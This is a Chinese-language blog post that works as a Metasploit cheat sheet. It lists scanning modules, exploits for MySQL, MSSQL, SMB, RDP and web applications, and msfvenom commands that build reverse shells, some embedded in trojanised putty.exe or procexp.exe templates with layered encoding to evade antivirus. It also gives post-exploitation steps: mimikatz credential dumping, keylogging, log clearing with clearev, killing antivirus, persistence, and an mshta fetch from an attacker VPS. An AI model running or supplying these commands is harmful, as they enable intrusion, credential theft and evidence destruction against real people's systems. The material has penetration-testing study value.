MSF的利用

1.首先基于MSF的资产收集
    网络主机收集:
        use auxiliary/scanner/discovery/udp_probe
        use auxiliary/scanner/discovery/udp_sweep
        use  auxiliary/scanner/discovery/arp_sweep
        use auxiliary/scanner/dns/dns_amp   基于DNS找存活主机,端口为53
        use auxiliary/scanner/netbios/nbname  基于nbname找存活主机,端口为137
        use auxiliary/scanner/http/title 端口为80
        
        use auxiliary/scanner/portscan/ack
        use auxiliary/scanner/portscan/tcp     指定网段探寻端口
        use auxiliary/scanner/portscan/syn
        use auxiliary/scanner/portscan/ftpbounce
        use auxiliary/scanner/portscan/xmas
        
 
    内网服务收集:
        搜寻http服务:use auxiliary/scanner/http/http_version  端口80
        搜寻smb服务:use auxiliary/scanner/smb/smb_version 端口445
        搜寻ftp服务: use auxiliary/scanner/ftp/ftp_version  端口21
        搜寻ssh服务: use auxiliary/scanner/ssh/ssh_version  端口22
        搜寻talnet服务: use auxiliary/scanner/telnet/telnet_version  端口23
        搜寻mysql服务: use auxiliary/scanner/mysql/mysql_version 端口3306
        搜寻db2服务: use auxiliary/scanner/db2/db2_version 端口50000
        搜寻rdp服务:use auxiliary/scanner/rdp/rdp_scanner 端口3389
        搜寻smtp服务:use auxiliary/scanner/smtp/smtp_version 端口25
 
2.关于MSF攻击的命令
    1.首先关于msf常用的payload
        windows:
            windows/meterpreter/reverse_tcp
            windows/meterpreter/bind_tcp
            windows/meterpreter/reverse_hop_http
            windows/meterpreter/reverse_http
            windows/meterpreter/reverse_http_proxy_pstore
            windows/meterpreter/reverse_https
            windows/meterpreter/reverse_https_proxy
            windows/shell_reverse_tcp
            windows/shell_bind_tcp
            windows/x64/meterpreter/reverse_tcp
            windows/x64/meterpreter/bind_tcp
            windows/x64/shell_reverse_tcp
            windows/x64/shell_bind_tcp
        linux:
            linux/x86/meterpreter/reverse_tcp
            linux/x86/meterpreter/bind_tcp
            linux/x86/shell_bind_tcp
            linux/x86/shell_reverse_tcp
            linux/x64/shell/bind_tcp
            linux/x64/shell/reverse_tcp
            linux/x64/shell_bind_tcp
            linux/x64/shell_bind_tcp_random_port
            linux/x64/shell_reverse_tcp
    2.关于mysql
        use auxiliary/scanner/mysql/mysql_login    用于内网中的批量以及单主机的登录测试(可用作暴力破解)。
        use exploit/multi/mysql/mysql_udf_payload   用于root启动的mysql 并root的udf提权.
            需设置payload:   set payload windows/meterpreter/bind_tcp
        use exploit/windows/mysql/mysql_mof  提权,与udf类似
        use auxiliary/scanner/mssql/mssql_ping 这个也可以用来扫描mssql服务。
        use exploit/windows/mysql/scrutinizer_upload_exec      上传文件执行。
        use auxiliary/admin/mysql/mysql_sql    执行sql语句
    3.关于sqlserver
        use auxiliary/admin/mssql/mssql_enum      可以看见非常详细的sqlserver信息
        use auxiliary/admin/mssql/mssql_enum_sql_logins     枚举sql logins,速度较慢
        use auxiliary/admin/mssql/mssql_escalate_dbowner   发现dbowner,当sa无法得知密码的时候,或者需要其他账号提供来支撑下一步的内网渗透   ??????
        use auxiliary/admin/mssql/mssql_exec 当没有激活xp_cmdshell,自动激活。并且调用执行cmd命令  权限继承 Sql server。
        用法:    
            set CMD cmd.exe /c whoami即可   然后exploit/run
        use auxiliary/admin/mssql/mssql_sql     如果熟悉Sql server 数据库特性,以及sql语句,使用该模块
        use auxiliary/admin/mssql/mssql_sql_file     当需要执行多条sql语句的时候,或者非常复杂。msf本身支持执行sql文件。授权渗透应用 较少,非授权应用较多的模块。
        use use auxiliary/scanner/mssql/mssql_login      批量发现内网mssql主机
        use exploit/windows/mssql/mssql_payload      非常好的模块之一,在实战中。针对不同时间版本的系统都有着自己独特的方式来上传 payload。
        use exploit/windows/misc/hta_server        //使用hta提权到msf上        然后在目标机器上执行mshta.exe http://VPS_IP:8080/IAKWSlu.hta
        
    3.关于FTP
        use auxiliary/scanner/ftp/ftp_login              于内网中的批量以及单主机的登录测试。
        use auxiliary/scanner/ftp/anonymous  发现存活的ftp主机,是否存在匿名登录
            ps:在该模块下,可以使用nmap来辅佐, db_nmap -sS -T4 -p21 192.168.1.0/24
        use auxiliary/fuzzers/ftp/ftp_pre_post      ftp本地模糊测试辅助模块
    4.关于smb
        use exploit/windows/smb/smb_login     //爆破smb
        use exploit/windows/smb/smb_scanner    //爆破smb
        use exploit/windows/smb/psexec_psh      跟psexec差不多,抓hash
        use auxiliary/admin/smb/psexec_ntdsgrab      //抓取ntds.dit和sysyem, hiv文件
        use exploit/windows/smb/smb_relay     //smb中继攻击,实质是ms08_068,监听端口,在域内执行ipc时会被抓hash
        use auxiliary/server/capture/smb        //抓取hash
        
    5.关于RDP
         use exploit/windows/rdp/cve_2019_0708_bluekeep_rce     //cve 0708
         use exploit/multi/vnc/vnc_keyboard_exec      //关于vnc的
    6.其他
        1.use exploit/multi/handler    //msf监听模块
            exploit/multi/script/web_delivery     //基于Powershell的
        2.use exploit/windows/smb/psexec     //利用msf启动psexec
        3.use exploit/windows/smb/psexec_psh       //pass hash
        4.use exploit/windows/local/ms15_051_client_copy_image     //利用ms15_051
        5.use exploit/windows/local/bypassuac     //绕过uac,一般绕不过去
        6.use post/windows/gather/hashdump      //抓hash
        7.use post/windows/gather/smart_hashdump     //导出hash,须有system权限
        8.use exploit/windows/local/always_install_elevated    //提权
        9.use exploit/windows/fileformat/office_word_hta   //利用.rtf文件生成可执行的.hta脚本来托管
        10.use exploit/multi/samba/usermap_script     //samba的exp
        11.use exploit/unix/irc/unreal_ircd_3281_backdoor     //IRC服务,端口6697的EXP
        12.use exploit/multi/http/playsms_uploadcsv_exec     //playsms的RCE的EXP
        13.use expliot/unix/webapp/drupal_drupalgeddon2  //drupal的exp
        14.use auxiliary/scanner/redis/file_upload normal Redis File Upload
        15.use auxiliary/scanner/redis/redis_login normal Redis Login Utility
        16.use auxiliary/scanner/redis/redis_server normal Redis Command Execute Scanner
        17.use exploit/multi/http/jenkins_script_console   //jenkins的exp
        18.use auxiliary/scanner/nfs/nfsmount       //关于2049 nfs的
        19.use exploit/windows/iis/iis_webdav_scstoragepathfromurl    //iis的exp
        20.use exploit/multi/script/web_delivery      //关于转化shell的,假如用koadic打下来的,可以转到msf
        21.use exploit/multi/http/moodle_cmd_exec      //moodle的exp
        22.use post/multi/recon/local_exploit_suggester     //对比打了哪些补丁,能否提权
        23.use exploit/multi/browser/firefox_proto_crmfrequest      //关于浏览器攻击拿shell的
        24.use exploit/multi/http/tomcat_mgr_deploy       //登入tomcat后布置war包拿shell
        25.use exploit/multi/http/lcms_php_exec         //lotuscms的exp
        26.use auxiliary/admin/http/joomla_registration_privesc       //关于joomla的扫描
        27.use exploit/multi/misc/java_jmx_server       //关于jmx的反序列化
3.关于MSF的端口转发:
    1.基于portfwd的端口转发
        这个需要跳到meterpreter,首先use exploit/multi/handler
        然后在set PAYLOAD windows/meterpreter/reverse_tcp
        若靶机的ip为192.168.1.119 需要转发的端口为80,3389。
        我们可以session -i查看反弹回来的机器,session -i 具体数字选择进入相应的交互模式
        portfwd add ‐l 33389 ‐r 192.168.1.119 ‐p 3389
        portfwd add ‐l 30080 ‐r 192.168.1.119 ‐p 80
        
        portfwd
        
        Windows 7 分别访问攻击机33389,30080,既等价访问靶机3389,80
 
  1.  
 
4.关于meterpreter的使用技巧.
    1.clearev     //清除日志
    2.getsystem       //提权
    3.keyscan_start   &&  keyscan_dump       //记录键盘
    4.migrate -p 2108   //迁移进程,如果失败,可尝试load stdapi
    5.screenhot     //截屏
    6.download c:\\users\\1.txt /home/Desktop    //下载,后面是自己的位置
    7.upload /home/Desktop/1.php c:\\users\\desktop//上传,后面是靶机的位置。
    8.execute  -f  notepad.exe    //执行命令
    9.shell    //返回交互式命令行界面
    10.load incognito    //加载incognito
    11.load powershell&&powershell_shell     //加载powershell插件&&以Powershell的格式来提示而不是cmd的形式。
    12.exploit/windows/local/registry_persistence
        exploit/windows/local/vss_persistence
        exploit/windows/local/s4u_persistence    //利用给注册表加载shellcode,然后再用ps加载,运行meterpreter
    13.load mimikatz    //加载mimikatz
        meterpreter > load mimikatz  #加载mimikatz
        meterpreter > msv #获取hash值
        meterpreter > kerberos #获取明文
        meterpreter >ssp   #获取明文信息
        meterpreter > wdigest #获取系统账户信息
        meterpreter >mimikatz_command -f a::   #必须要以错误的模块来让正确的模块显示
        meterpreter >mimikatz_command -f hash::   #获取目标 hash
        meterpreter > mimikatz_command -f samdump::hashes
        meterpreter > mimikatz_command -f sekurlsa::searchPasswords
    14.run post/windows/gather/checkvm    //查看是否是虚拟机
         run post/windows/gather/smart_hashdump    //查看hash
         run post/windows/gather/enum_ie    //查看浏览器的cookie,访问记录
         run killav    //关杀软进程
         run vnc     //检测对方桌面
         run persistence -U -i 30 -p 2333 攻击机ip   //维持权限  U用户登录时启动后门,X是系统启动时。 i是shell交互的时间
    15.load powershell 
         powershell_import /root/Copy-VSS.ps1      powershell_execute Copy-VSS      Copy-VSS -DestinationDir C:\ 
 
5.关于MSF的免杀
    1.首先说说关于修改文件的属性
        修改文件属性就是修改文件的MACE值,可以帮助掩盖文件在系统上的活动。
        1.首先使用Timestomp修改文件属性
            timesomp 1.txt -v :查看文件的属性
            timesomp 1.txt -b :清空文件所有属性
            timesomp 1.txt  ./ -r : 归地清空当前目录中的所有文件
            timesomp 1.txt -m :修改文件属性
    2.关于用msfvenom绕杀软:
    (1)尝试使用不同的编码器对stage进行编码,可能绕过部分杀软的查杀(mutil/handler里头)
    msfvenom -p  windows/meterpreter/reverse_https
    使用reverse_https等payload可以换成anti symantec,然后在mutil/handle设置
        1.set EnableStageEncoding true
        2.set stageencoder x86/fnstenv_mov
        3.set stageencodingfallback false
    (2)在msfvenom里面加上-e x86/shikata_ga_nai -i 5     加上这2个参数
    (3)在msfvenom里面加上-x notepad.exe
    (4)msfvenom -p  windows/meterpreter/reverse_tcp_rc4  lhost=10.211.55.2 lport=3333 RC4PASSWORD=xinxin  -f c
    (5)msfvenom  -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 LHOST=10.211.55.2 LPORT=3333 -f raw | msfvenom -e x86/alpha_upper -i 10 -f raw | msfvenom -e x86/countdown -i 10 -x putty.exe -f exe -o payload5.exe        //多次编码
    (6)先去下载一个压缩软件   wget xxxxx/xxx/xxx/xx.zip   然后用unzip解压
msfvenom -p windows/shell_reverse_tcp LHOST=(ip) LPORT=8080-e x86/shikata_ga_nai -x Desktop/procexp.exe -i 5 -f exe -o /Desktop/backdoor.exe       以解压的exe做为模板
set paylaod windows/shell/reverse_tcp
 
    
6.关于msfvenom命令
    1.msfvenom -f msi -p windows/exec CMD=calc.exe>test.msi     //制作生成包
    2.msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.1 lport=4444 -f psh-reflection -o xinxin.ps1       //生成ps的paylaod
    3.-e cmd/powershell_base64      //在cmd中运行,弹回powershell
    4.msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4444 -f raw -o x86_shell.war     //部署java的war包
    6.4
7.MSF能加载的其他软件
    1.sqlmap          load sqlmap
    2.incognito      load incognito
    3.nmap             load nmap
 
8.关于MSF的后渗透
    1.msf exploit(multi/handler) > set ExitOnSession false         //经常会遇到假session或者刚连接就断开的情况,经常会遇到假session或者刚连接就断开的情况
    2.set SessionCommunicationTimeout 0      //默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0
    3.set SessionExpirationTimeout 0       //默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭
    4.msf exploit(multi/handler) > exploit -j -z     //在后台持续监听,-j是后台任务,-z是持续监听   jobs -k是全部结束。handler -H 10.211.55.2 -P 3333 -p windows/meterpreter/reverse_tcp   也可以这样
    5.
 
 
 
  
        
 
 
posted @ 2020-04-18 15:48  z珠穆朗玛鑫  阅读(1253)  评论(0编辑  收藏  举报